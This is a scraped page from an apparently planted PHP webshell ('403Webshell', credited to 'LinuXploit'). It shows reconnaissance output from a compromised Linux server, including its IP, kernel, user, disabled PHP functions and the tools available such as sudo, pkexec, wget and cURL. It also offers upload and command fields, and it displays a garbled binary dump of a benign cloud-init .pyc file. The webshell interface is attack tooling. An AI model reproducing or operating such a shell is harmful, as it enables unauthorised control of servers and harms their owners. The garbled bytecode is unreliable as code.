403Webshell
Server IP : 156.238.232.47  /  Your IP : 216.73.216.150
Web Server : nginx/1.25.3
System : Linux C202504152095410 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : www ( 1000)
PHP Version : 8.3.25
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python2.7/site-packages/cloudinit/config/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.7/site-packages/cloudinit/config/cc_fan.pyc
�
oB�]c@sxdZddlmZddlmZddlmZeje�Z	eZ
id
d6dd6Ze
d�Zd	�Zd
S(s<
Fan
---
**Summary:** configure ubuntu fan networking

This module installs, configures and starts the ubuntu fan network system. For
more information about Ubuntu Fan, see:
``https://wiki.ubuntu.com/FanNetworking``.

If cloud-init sees a ``fan`` entry in cloud-config it will:

    - write ``config_path`` with the contents of the ``config`` key
    - install the package ``ubuntu-fan`` if it is not installed
    - ensure the service is started (or restarted if was previously running)

**Internal name:** ``cc_fan``

**Module frequency:** per instance

**Supported distros:** ubuntu

**Config keys**::

    fan:
        config: |
            # fan 240
            10.0.0.0/8 eth0/16 dhcp
            10.0.0.0/8 eth1/16 dhcp off
            # fan 241
            241.0.0.0/8 eth0/16 dhcp
        config_path: /etc/network/fan
i����(tlog(tPER_INSTANCE(tutiltconfigs/etc/network/fantconfig_pathcs!|r?idd�gd6dd�gd6dd�gd6}n iddgd6ddgd6}�fd�}||ddd��}|jd	�s�|d	7}ntj||d
d�||ddd��}|r�|r�tjd
��nd|kr||ddd��}n|S(Nt	systemctltstoptstarttenabletservicecsKytj|dt�SWn-tjk
rF}tjd�||�tSXdS(Ntcapturesfailed: %s (%s): %s(RtsubptTruetProcessExecutionErrortLOGtwarningtFalse(tcmdtmsgte(R	(s;/usr/lib/python2.7/site-packages/cloudinit/config/cc_fan.pytrun?s
Rsstop %ss
tomodetwsstart %sssuccess: %s starteds	enable %s(tendswithRt
write_fileRR(R	tconfig_filetcontenttsystemdtcmdsRtstop_failedtret((R	s;/usr/lib/python2.7/site-packages/cloudinit/config/cc_fan.pytstop_update_start6s"
c	Cs�|jd�}|si}ntj|tg�}|jd�sVtjd|�dStj|jd�|jd�dd�|j}tjd�s�|j	dg�nt
d	dd
|jd�d|jd�d|j��dS(
NtfanRs$%s: no 'fan' config entry. disablingRRRtfanctls
ubuntu-fanR	RRR(tgetRt
mergemanydicttBUILTIN_CFGRtdebugRtdistrotwhichtinstall_packagesRtuses_systemd(tnametcfgtcloudRtargstcfgintmycfgR&((s;/usr/lib/python2.7/site-packages/cloudinit/config/cc_fan.pythandleUs	(	N(t__doc__t	cloudinitRtloggingtcloudinit.settingsRRt	getLoggert__name__Rt	frequencytNoneR$RRR0(((s;/usr/lib/python2.7/site-packages/cloudinit/config/cc_fan.pyt<module>&s


Youez - 2016 - github.com/yon3zu
LinuXploit